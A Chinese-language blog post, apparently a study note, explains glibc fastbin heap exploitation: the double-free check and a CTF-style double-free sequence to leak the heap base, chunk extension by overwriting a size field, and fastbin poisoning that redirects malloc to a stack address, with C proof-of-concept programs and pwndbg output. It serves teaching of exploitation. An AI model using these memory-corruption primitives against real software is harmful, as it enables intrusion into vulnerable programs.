fastbin_attack

文章发布时间:

最后更新时间:

fastbin
fast_bin的范围:64位机器下属于fast_bin的chunk大小在0x20 – 0x80之间,每个bin链表之间以0x10字节递增,共计7条bin链;32位机器下为0x10 – 0x40,每个bin链表之间以0x8字节递增,共计7条。注意,上面的大小均是包含了chunk头的.

每个bin是一个单链表,先进后出,所以在fast bin中只有fd指针会被使用。

fastbin设计的初衷是为了方便小内存chunk的释放和重新分配 为了防止和相邻的chunk合并 所以位于fastbin中的free chunk的PREV_INUSE位不会被设置为0 始终为1(不会unlink)

存放fastbin链表的是malloc_state结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

double_free
glibc对于fastbin的double_free检查是依靠于检测main_arena指向的chunk
即位于链表头的chunk 如果要释放的chunk和位于链表头的chunk是同一个 那么就会触发double free终止进程

1
2
3
4
5
6
7
8
9
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
debug()
add(0x68,b'aaaa')#chunk0
add(0x68,b'aaaa')#chunk1
add(0x68,b'aaaa')#chunk2
for i in range(7):
add(0x68,b'aaaa')

add(0x10,b'aaaa')
for i in range(7):
delete(i+3)

pause()
delete(0)#free chunk0
delete(1)#free掉chunk1来干扰链表结构
delete(0)#double free chunk0

free chunk0:

1
2
3
4
5
6
7
8
9
10
pwndbg> bin
tcachebins
0x70 [ 7]: 0x177a650 —▸ 0x177a5e0 —▸ 0x177a570 —▸ 0x177a500 —▸ 0x177a490 —▸ 0x177a420 —▸ 0x177a3b0 ◂— 0x0
fastbins
0x70: 0x177a250 ◂— 0x0

Free chunk (fastbins) | PREV_INUSE
Addr: 0x177a250
Size: 0x71
fd: 0x00

free chunk1:

1
2
3
4
5
6
7
8
9
10
11
12
Free chunk (fastbins) | PREV_INUSE
Addr: 0x177a250
Size: 0x71
fd: 0x00

Free chunk (fastbins) | PREV_INUSE
Addr: 0x177a2c0
Size: 0x71
fd: 0x177a250

fastbins
0x70: 0x177a2c0 —▸ 0x177a250 ◂— 0x0

double free chunk0

1
2
fastbins
0x70: 0x177a2c0 —▸ 0x177a250 ◂— 0x177a2c0

可以看到此时chunk0既位于链表头也位于链表尾

如果我们再次申请一个0x68大小的chunk0 申请到的是位于链表头的chunk 但是此时还有一个chunk0在链表中

那么打印出该堆块便可做到泄露heap_base

在libc2.23下,还有一个常见的攻击手法malloc_hook,之后再写

chunk_extend

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gcc fastbin_chunk_extend.c -g -no-pie -o fastbin_chunk_extend
#include <stdio.h>
#include <stdlib.h>

int main()
{
void *chunk0, *chunk2;
chunk0 = malloc(0x10);//0x10的chunk0
malloc(0x10);//0x10的chunk1

*(unsigned long *)((unsigned long)chunk0 - 0x8) = 0x41;// edit chunk0的size域
free(chunk0);

chunk2 = malloc(0x30);//0x30的chunk2 实现extend,用chunk2控制了chunk1的内容


return 0;
}

未修改前的chunk0和chunk1

1
2
3
4
5
pwndbg> x/20gx 0x405290
0x405290: 0x0000000000000000 0x0000000000000021
0x4052a0: 0x0000000000000000 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000021
0x4052c0: 0x0000000000000000 0x0000000000000000

稍后申请的chunk2,拿捏了chunk1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x405290
0x405290: 0x0000000000000000 0x0000000000000041
0x4052a0: 0x0000000000000000 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000021#chunk1,但是在chunk2里
0x4052c0: 0x0000000000000000 0x0000000000000000
0x4052d0: 0x0000000000000000 0x0000000000020d31
0x4052e0: 0x0000000000000000 0x0000000000000000
0x4052f0: 0x0000000000000000 0x0000000000000000
0x405300: 0x0000000000000000 0x0000000000000000
0x405310: 0x0000000000000000 0x0000000000000000
0x405320: 0x0000000000000000 0x0000000000000000
0x405330: 0x0000000000000000 0x0000000000000000
0x405340: 0x0000000000000000 0x0000000000000000
0x405350: 0x0000000000000000 0x0000000000000000
0x405360: 0x0000000000000000 0x0000000000000000
0x405370: 0x0000000000000000 0x0000000000000000
0x405380: 0x0000000000000000 0x0000000000000000
0x405390: 0x0000000000000000 0x0000000000000000
0x4053a0: 0x0000000000000000 0x0000000000000000
0x4053b0: 0x0000000000000000 0x0000000000000000
0x4053c0: 0x0000000000000000 0x0000000000000000

fastbin_poisoning
跟tcachebin的类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//gcc fastbin_poisoning.c -g -no-pie -o fastbin_poisoning
#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned long fck[4];
printf("stack addr is %p\n", fck);

unsigned long *ptr = malloc(0x10);
free(ptr);
fck[1] = 0x21; // same with 0x20
ptr[0] = (unsigned long)fck; // edit fd pointer

printf("the original heap %p\n", malloc(0x10));
printf("alloc to the stack %p\n", malloc(0x10));

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Allocated chunk | PREV_INUSE
Addr: 0x602310
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x602310
Size: 0x21
fd: 0x7fffffffe2d0

Free chunk (fastbins) | PREV_INUSE
Addr: 0x602310
Size: 0x21
fd: 0x7fffffffe2d0

这里写入的是栈上的地址,也可以考虑写入bss段或者libc段,要看具体的利用手法

该攻击方式也是malloc_hook攻击的前置手段

前面的攻击手段,以后再来探索吧~